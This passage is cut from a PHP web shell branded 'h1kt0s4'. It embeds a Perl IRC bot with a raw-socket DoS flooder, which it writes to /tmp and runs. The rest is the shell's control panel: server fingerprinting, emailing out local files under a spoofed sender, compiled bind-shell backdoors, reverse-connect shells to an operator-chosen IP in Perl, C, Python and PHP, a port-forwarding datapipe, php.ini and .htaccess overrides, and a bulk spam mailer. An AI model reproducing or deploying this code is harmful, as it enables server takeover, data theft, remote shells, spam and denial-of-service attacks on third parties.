0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++; send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++; send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++; # DoS ?? :P for (my \$pc = 3; \$pc <= 255;\$pc++) { next if \$pc == 6; \$cur_time = time - \$itime; last if \$cur_time >= \$ftime; socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next; send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;; } } last if \$cur_time >= \$ftime; } return(\$cur_time, %pacotes); } ############# # ALIASES # ############# sub action { return unless $#_ == 1; sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\"); } sub ctcp { return unless $#_ == 1; sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\"); } sub msg { return unless $#_ == 1; sendraw(\"PRIVMSG \$_[0] :\$_[1]\"); } sub notice { return unless $#_ == 1; sendraw(\"NOTICE \$_[0] :\$_[1]\"); } sub op { return unless $#_ == 1; sendraw(\"MODE \$_[0] +o \$_[1]\"); } sub deop { return unless $#_ == 1; sendraw(\"MODE \$_[0] -o \$_[1]\"); } sub hop { return unless $#_ == 1; sendraw(\"MODE \$_[0] +h \$_[1]\"); } sub dehop { return unless $#_ == 1; sendraw(\"MODE \$_[0] +h \$_[1]\"); } sub voice { return unless $#_ == 1; sendraw(\"MODE \$_[0] +v \$_[1]\"); } sub devoice { return unless $#_ == 1; sendraw(\"MODE \$_[0] -v \$_[1]\"); } sub ban { return unless $#_ == 1; sendraw(\"MODE \$_[0] +b \$_[1]\"); } sub unban { return unless $#_ == 1; sendraw(\"MODE \$_[0] -b \$_[1]\"); } sub kick { return unless $#_ == 1; sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\"); } sub modo { return unless $#_ == 0; sendraw(\"MODE \$_[0] \$_[1]\"); } sub mode { modo(@_); } sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw(\"JOIN \$_[0]\"); } sub p { part(@_); } sub part {sendraw(\"PART \$_[0]\");} sub nick { return unless $#_ == 0; sendraw(\"NICK \$_[0]\"); } sub invite { return unless $#_ == 1; sendraw(\"INVITE \$_[1] \$_[0]\"); } sub topico { return unless $#_ == 1; sendraw(\"TOPIC \$_[0] \$_[1]\"); } sub topic { topico(@_); } sub whois { return unless $#_ == 0; sendraw(\"WHOIS \$_[0]\"); } sub who { return unless $#_ == 0; sendraw(\"WHO \$_[0]\"); } sub names { return unless $#_ == 0; sendraw(\"NAMES \$_[0]\"); } sub away { sendraw(\"AWAY \$_[0]\"); } sub back { away(); } sub quit { sendraw(\"QUIT :\$_[0]\"); } # DCC ######################### package DCC; sub connections { my @ready = \$dcc_sel->can_read(1); # return unless (@ready); foreach my \$fh (@ready) { my \$dcctipo = \$DCC{\$fh}{tipo}; my \$arquivo = \$DCC{\$fh}{arquivo}; my \$bytes = \$DCC{\$fh}{bytes}; my \$cur_byte = \$DCC{\$fh}{curbyte}; my \$nick = \$DCC{\$fh}{nick}; my \$msg; my \$nread = sysread(\$fh, \$msg, 10240); if (\$nread == 0 and \$dcctipo =~ /^(get|sendcon)$/) { \$DCC{\$fh}{status} = \"Cancelado\"; \$DCC{\$fh}{ftime} = time; \$dcc_sel->remove(\$fh); \$fh->close; next; } if (\$dcctipo eq \"get\") { \$DCC{\$fh}{curbyte} += length(\$msg); my \$cur_byte = \$DCC{\$fh}{curbyte}; open(FILE, \">> \$arquivo\"); print FILE \"\$msg\" if (\$cur_byte <= \$bytes); close(FILE); my \$packbyte = pack(\"N\", \$cur_byte); print \$fh \"\$packbyte\"; if (\$bytes == \$cur_byte) { \$dcc_sel->remove(\$fh); \$fh->close; \$DCC{\$fh}{status} = \"Recebido\"; \$DCC{\$fh}{ftime} = time; next; } } elsif (\$dcctipo eq \"send\") { my \$send = \$fh->accept; \$send->autoflush(1); \$dcc_sel->add(\$send); \$dcc_sel->remove(\$fh); \$DCC{\$send}{tipo} = 'sendcon'; \$DCC{\$send}{itime} = time; \$DCC{\$send}{nick} = \$nick; \$DCC{\$send}{bytes} = \$bytes; \$DCC{\$send}{curbyte} = 0; \$DCC{\$send}{arquivo} = \$arquivo; \$DCC{\$send}{ip} = \$send->peerhost; \$DCC{\$send}{porta} = \$send->peerport; \$DCC{\$send}{status} = \"Enviando\"; #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon open(FILE, \"< \$arquivo\"); my \$fbytes; read(FILE, \$fbytes, 1024); print \$send \"\$fbytes\"; close FILE; # delete(\$DCC{\$fh}); } elsif (\$dcctipo eq 'sendcon') { my \$bytes_sended = unpack(\"N\", \$msg); \$DCC{\$fh}{curbyte} = \$bytes_sended; if (\$bytes_sended == \$bytes) { \$fh->close; \$dcc_sel->remove(\$fh); \$DCC{\$fh}{status} = \"Enviado\"; \$DCC{\$fh}{ftime} = time; next; } open(SENDFILE, \"< \$arquivo\"); seek(SENDFILE, \$bytes_sended, 0); my \$send_bytes; read(SENDFILE, \$send_bytes, 1024); print \$fh \"\$send_bytes\"; close(SENDFILE); } } } ########################## sub SEND { my (\$nick, \$arquivo) = @_; unless (-r \"\$arquivo\") { return(0); } my \$dccark = \$arquivo; \$dccark =~ s/[.*\/](\S+)/$1/; my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'}; my \$longip = unpack(\"N\",inet_aton(\$meuip)); my @filestat = stat(\$arquivo); my \$size_total=\$filestat[7]; if (\$size_total == 0) { return(0); } my (\$porta, \$sendsock); do { \$porta = int rand(64511); \$porta += 1024; \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock); } until \$sendsock; \$DCC{\$sendsock}{tipo} = 'send'; \$DCC{\$sendsock}{nick} = \$nick; \$DCC{\$sendsock}{bytes} = \$size_total; \$DCC{\$sendsock}{arquivo} = \$arquivo; &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\"); } sub GET { my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_; return(0) if (-e \"\$arquivo\"); if (open(FILE, \"> \$arquivo\")) { close FILE; } else { return(0); } my \$dccip=fixaddr(\$dcclongip); return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1); my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0); \$dccsock->autoflush(1); \$dcc_sel->add(\$dccsock); \$DCC{\$dccsock}{tipo} = 'get'; \$DCC{\$dccsock}{itime} = time; \$DCC{\$dccsock}{nick} = \$nick; \$DCC{\$dccsock}{bytes} = \$bytes; \$DCC{\$dccsock}{curbyte} = 0; \$DCC{\$dccsock}{arquivo} = \$arquivo; \$DCC{\$dccsock}{ip} = \$dccip; \$DCC{\$dccsock}{porta} = \$dccporta; \$DCC{\$dccsock}{status} = \"Recebendo\"; } ############################ # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub Status { my \$socket = shift; my \$sock_tipo = \$DCC{\$socket}{tipo}; unless (lc(\$sock_tipo) eq \"chat\") { my \$nick = \$DCC{\$socket}{nick}; my \$arquivo = \$DCC{\$socket}{arquivo}; my \$itime = \$DCC{\$socket}{itime}; my \$ftime = time; my \$status = \$DCC{\$socket}{status}; \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime}); my \$d_time = \$ftime-\$itime; my \$cur_byte = \$DCC{\$socket}{curbyte}; my \$bytes_total = \$DCC{\$socket}{bytes}; my \$rate = 0; \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0; my \$porcen = (\$cur_byte*100)/\$bytes_total; my (\$r_duv, \$p_duv); if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) { \$r_duv = $3; \$r_duv++ if $4 >= 5; \$rate = \"$1\.$2\".\"\$r_duv\"; } if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { \$p_duv = $3; \$p_duv++ if $4 >= 5; \$porcen = \"$1\.$2\".\"\$p_duv\"; } return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\"); } return(0); } # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) sub fixaddr { my (\$address) = @_; chomp \$address; # just in case, sigh. if (\$address =~ /^\d+$/) { return inet_ntoa(pack \"N\", \$address); } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) { return \$address; } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation! return inet_ntoa(((gethostbyname(\$address))[4])[0]); } else { return; } } ############################ "; $bot = "/tmp/ircs.pl"; $open = fopen($bot,"w"); fputs($open,$file); fclose($open); $cmd="perl $bot"; $cmd2="rm $bot"; system($cmd); system($cmd2); $_POST['cmd']="echo \"Now script try connect to ircserver ...\""; } if($unix) { if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } if($safe_mode) { $sysctl = '-'; } else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } else { $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } if(empty($sysctl)) { $sysctl = '-'; } setcookie('sysctl',$sysctl); } } echo $head; echo '</head>'; if(empty($_POST['cmd'])) { $serv = array(127,192,172,10); $addr=@explode('.', $_SERVER['SERVER_ADDR']); $current_version = str_replace('.','',$version); if (!in_array($addr[0], $serv)) { @print "<img src=\"http://127.0.0.1/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; @readfile ("http://127.0.0.1/version.php?version=".$current_version."");}} echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<DIV dir=ltr align=center><font face=Webdings size=10><b>!</b></font><b>'.ws(2).'<DIV dir=ltr align=center><SPAN style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px"> <SPAN style="FONT-SIZE: 20pt; COLOR: red; FONT-FAMILY: Impact">h1kt0s4</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>'; echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>"; echo "<br>".ws(2)."</b>"; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."? title=\"".$lang[$language.'_text46']."\"><b>home</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?sqlman title=\"".$lang[$language.'_text46']."\"><b>SQL</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?xp title=\"".$lang[$language.'_text555']."\"><b>Cpanel</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uploadds title=\"".$lang[$language.'_text50']."\"><b>upload-2</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?scriptt title=\"".$lang[$language.'_text995']."\"><b>edit index vb</b></a> ".$rb; echo "<br>".ws(2)."</b>"; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpproxy title=\"".$lang[$language.'_text959']."\"><b>php proxy</b></a> ".$rb; if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?zone title=\"".$lang[$language.'_text955']."\"><b>zone</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?milr title=\"".$lang[$language.'_text551']."\"><b>Mailer</b></a> ".$rb; } echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; echo ws(2)."safe_mode: <b>"; echo (($safe_mode)?("<font color=#008000>ON</font>"):("<font color=red>OFF</font>")); echo "</b>".ws(2); echo "PHP version: <b>".@phpversion()."</b>"; $curl_on = @function_exists('curl_version'); echo ws(2); echo "cURL: <b>".(($curl_on)?("<font color=#008000>ON</font>"):("<font color=red>OFF</font>")); echo "</b>".ws(2); echo "MYSQL: <b>"; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "<font color=#008000>ON</font>"; } else { echo "<font color=red>OFF</font>"; } echo "</b>".ws(2); echo "MSSQL: <b>"; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";} echo "</b>".ws(2); echo "PostgreSQL: <b>"; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";} echo "</b>".ws(2); echo "Oracle: <b>"; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "<font color=#008000>ON</font>";}else{echo "<font color=red>OFF</font>";} echo "</b><br>".ws(2); echo "Disable functions: <b>"; if(''==($df=@ini_get('disable_functions'))){echo "<font color=#00800F>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; echo "</b><br>".ws(2); echo "Register globals: <b>"; $reg_g = @ini_get("register_globals"); if($reg_g){ echo "<font color=#008000>ON</font>"; } else { echo "<font color=red>OFF</font>"; } echo "</b>".ws(2); echo "open_basedir: <b>"; $openbasedi = @ini_get("open_basedir"); if($openbasedi){ echo "<font color=red>ON</font>"; } else { echo "<font color=#008000>OFF</font>"; } echo "</b>".ws(2); echo '</font></td></tr><table> <table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc> <tr><td align=right width=100>'; echo $font; if($unix){ echo '<font color=#990000><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>'; echo "</td><td>"; echo "<font face=tahoma size=-2 color=#cccccc><b>"; echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); echo ws(3).$sysctl."<br>"; echo ws(3).ex('echo $OSTYPE')."<br>"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; if(!empty($id)) { echo ws(3).$id."<br>"; } else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) { $euserinfo = @posix_getpwuid(@posix_geteuid()); $egroupinfo = @posix_getgrgid(@posix_getegid()); echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; } else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; echo ws(3).$dir; echo ws(3).'( '.perms(@fileperms($dir)).' )'; echo "<br>"; echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; echo "</b></font>"; } else { echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>'; echo "</td><td>"; echo "<font face=tahoma size=-2 color=red><b>"; echo ws(3).@substr(@php_uname(),0,120)."<br>"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; echo ws(3).@getenv("USERNAME")."<br>"; echo ws(3).$dir; echo "<br>"; echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>"; echo "<br></font>"; } echo "</font>"; echo "</td></tr></table>"; if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") { $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); err(6+$res); $_POST['cmd']=""; } if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) { if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; } else { $filename = @basename($_POST['loc_file']); $filedump = @fread($file,@filesize($_POST['loc_file'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); $attach = array( "name"=>$filename, "type"=>$mime_type, "content"=>$filedump ); if(empty($_POST['subj'])) { $_POST['subj'] = 'file from h1kt0s4 shell'; } if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); err(6+$res); $_POST['cmd']=""; } } if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") { $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; } if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") { switch($_POST['what']) { case 'own': @chown($_POST['param1'],$_POST['param2']); break; case 'grp': @chgrp($_POST['param1'],$_POST['param2']); break; case 'mod': @chmod($_POST['param1'],intval($_POST['param2'], 8)); break; } $_POST['cmd']=""; } if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") { switch($_POST['what']) { case 'file': if($_POST['action'] == "create") { if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } else { fclose($file); $_POST['e_name'] = $_POST['mk_name']; $_POST['cmd']="edit_file"; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; } } else if($_POST['action'] == "delete") { if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; $_POST['cmd']=""; } break; case 'dir': if($_POST['action'] == "create"){ if(mkdir($_POST['mk_name'])) { $_POST['cmd']=""; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; } else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } } else if($_POST['action'] == "delete"){ if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; $_POST['cmd']=""; } break; } } if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) { if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; } else { echo $table_up3; echo $font; echo "<form name=save_file method=post>"; echo ws(3)."<b>".$_POST['e_name']."</b>"; echo "<div align=center><textarea name=e_text cols=121 rows=24>"; echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); fclose($file); echo "</textarea>"; echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; echo "<input type=hidden name=dir value=".$dir.">"; echo "<input type=hidden name=cmd value=save_file>"; echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); echo "</div>"; echo "</font>"; echo "</form>"; echo "</td></tr></table>"; exit(); } } if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") { $mtime = @filemtime($_POST['e_name']); if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); } else { if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); @fwrite($file,$_POST['e_text']); @touch($_POST['e_name'],$mtime,$mtime); $_POST['cmd']=""; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; } } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) { cf("/tmp/bd.c",$port_bind_bd_c); $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); @unlink("/tmp/bd.c"); $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); $_POST['cmd']="ps -aux | grep bd"; $_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\""; } if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl")) { cf("/tmp/prxpl",$prx_pl); $p2=which("perl"); $blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &"); $_POST['cmd']="ps -aux | grep prxpl"; } if (!empty($_POST['port1'])) { cf("bds",$port_bind_bd_cs); $blah = ex("chmod 777 bds"); $blah = ex("./bds ".$_POST['port1']." &"); $_POST['cmd']="echo \"Now script install backdoor connect to port "; }else{ cf("/tmp/bds",$port_bind_bd_cs); $blah = ex("chmod 777 bds"); $blah = ex("./tmp/bds ".$_POST['port1']." &"); } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C1")) { cf("bind",$backdoor); $blah = ex("chmod 777 bind"); $blah = ex("./bind ".$_POST['port']." ".$_POST['bind_pass']." &"); $_POST['cmd']="echo \"Now script install backdoor connect to port "; }else{ cf("/tmp/bind",$backdoor); $blah = ex("chmod 777 bind"); $blah = ex("./bind ".$_POST['port']." ".$_POST['bind_pass']." &"); } if (!empty($_POST['php_ini1'])) { cf("php.ini",$php_ini1); $_POST['cmd']=" ?????? ????? ??? php.ini ?? ??? ???"; } if (!empty($_POST['htacces'])) { cf(".htaccess",$htacces); $_POST['cmd']="To stop manufacturing Skjorti htaccess Been laying file"; } if (!empty($_POST['file_ini'])) { cf("ini.php",$sni_res); $_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt?Read ss variable ini.php "; } if(($_POST['fileto'] != "")||($_POST['filefrom'] != "")) { $data = implode("", file($_POST['filefrom'])); $fp = fopen($_POST['fileto'], "wb"); fputs($fp, $data); $ok = fclose($fp); if($ok) { $size = filesize($_POST['fileto'])/1024; $sizef = sprintf("%.2f", $size); print "<center><div id=logostrip>Download - OK.(".$sizef."??)</div></center>"; } else { print "<center><div id=logostrip>Something is wrong. Download - IS NOT OK</div></center>"; } } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) { cf("/tmp/bdpl",$port_bind_bd_pl); $p2=which("perl"); $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); $_POST['cmd']="ps -aux | grep bdpl"; $_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\""; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) { cf("/tmp/back",$back_connect); $p2=which("perl"); $blah = ex("perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...Datached\""; } if (!empty($_POST['ips']) && !empty($_POST['ports']) && ($_POST['use']=="perl")) { cf("/tmp/backs",$back_connects); $p2=which("perl"); $blah = ex($p2." /tmp/backs ".$_POST['ips']." ".$_POST['ports']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ips']." port ".$_POST['ports']." ...\""; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) { cf("/tmp/back.c",$back_connect_c); $blah = ex("gcc -o /tmp/backc /tmp/back.c"); @unlink("/tmp/back.c"); $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) { cf("/tmp/dp",$datapipe_pl); $p2=which("perl"); $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); $_POST['cmd']="ps -aux | grep dp"; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="py")) { cf("/tmp/backpy",$back_python); $p5=which("python"); $blah = ex("python /tmp/backpy ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect python ".$_POST['ip']." port: ".$_POST['port']." ...\""; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php2")) { cf("/tmp/back2.php",$backdoor_php); $d6=which("php"); $blah = ex("php /tmp/back2.php ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect php ".$_POST['ip']." port: ".$_POST['port']." ...\""; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="php1")) { cf("/tmp/back1.php",$backdoor_php1); $d6=which("php"); $blah = ex("php /tmp/back1.php ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect php ".$_POST['ip']." port: ".$_POST['port']." ...\""; } if(isset($_GET['milr'])) { $secure = ""; error_reporting(0); @$action=$_POST['action']; @$from=$_POST['from']; @$realname=$_POST['realname']; @$replyto=$_POST['replyto']; @$subject=$_POST['subject']; @$message=$_POST['message']; @$emaillist=$_POST['emaillist']; @$lod=$_SERVER['HTTP_REFERER']; @$file_name=$_FILES['file']['name']; @$contenttype=$_POST['contenttype']; @$file=$_FILES['file']['tmp_name']; @$amount=$_POST['amount']; @set_time_limit(intval($_POST['timelimit'])); if ($action=="send") { $message = urlencode($message); $message = ereg_replace("%5C%22", "%22", $message); $message = urldecode($message); $message = stripslashes($message); $subject = stripslashes($subject); } echo "<table width='100%' height='72' border='0' id='Box'> <tr> <td width='14' height='21' style='background-color:#666'> </td> <td width='98%' style='background-color:#666;padding-left:10px;' >Inbox Mailer</td> </tr> <tr> <td height='45' colspan='2'> <table bgcolor=#cccccc width=\"100%\"><tbody><tr><td align=\"right\" width=100><p dir=ltr> <b><font color=#990000 size=-2><p align=left><center><form name=\"form1\" method=\"post\" action=\"\" enctype=\"multipart/form-data\"><br/> <table width=142 border=0> <tr> <td width=81> <div align=right> <sy>Your Email:</sy></div></td> <td width=219><sy> <input type=text name=\"from\" value=".$from."></sy></td><td width=212> <div align=right> <sy>Your Name:</sy></div></td><td width=278> <sy> <input type=text name=\realname\" value=".$realname."></sy></td></tr><tr><td width=81> <div align=\"right\"> <sy>Reply-To:</sy></div></td><td width=219> <sy> <input type=\"text\" name=\"replyto\" value=".$replyto."> </sy></td><td width=212> <div align=\"right\"> <sy>Attach File:</sy></div></td><td width=278> <sy> <input type=\"file\" name=\"file\" size=24 /> </sy> </td></tr><tr><td width=81> <div align=\"right\"> <sy>Subject:</sy></div></td> <td colspan=3 width=703> <sy> <input type=\"text\" name=\"subject\" value=".$subject." ></sy></td> </tr><tr valign=\"top\"><td colspan=3 width=520> <sy>Message Box :</sy></td> <td width=278> <sy>Email Target / Email Send To :</sy></td></tr><tr valign=\"top\"><td colspan=3 width=520><sy> <textarea name=\"message\" cols=56 rows=10>".$message."</textarea><br /> <input type=\"radio\" name=\"contenttype\" value=\"plain\" /> Plain <input type=\"radio\" name=\"contenttype\" value=\"html\" checked=\"checked\" /> HTML <input type=\"hidden\" name=\"action\" value=\"send\" /><br /> Number to send: <input type=\"text\" name=\"amount\" value=1 size=10 /><br /> Maximum script Execution time(in seconds, 0 for no timelimit)<input type=\"text\" name=\"timelimit\" value=0 size=10 /> <input type=\"submit\" value=\"Send eMails\" /></sy></td><td width=278> <sy> <textarea name=\"emaillist\" cols=32 rows=10>".$emaillist."</textarea></sy></td></tr> </table> </td> </tr> </table>"; if ($action=="send") { if (!$from && !$subject && !$message && !$emaillist) { print "Please complete all fields before sending your message."; exit; } $allemails = split("\n", $emaillist); $numemails = count($allemails); $head ="From: Mailr" ; $sub = "Ar - $lod" ; $meg = "$lod" ; mail ($alt,$sub,$meg,$head) ; If ($file_name) { if (!file_exists($file)) { 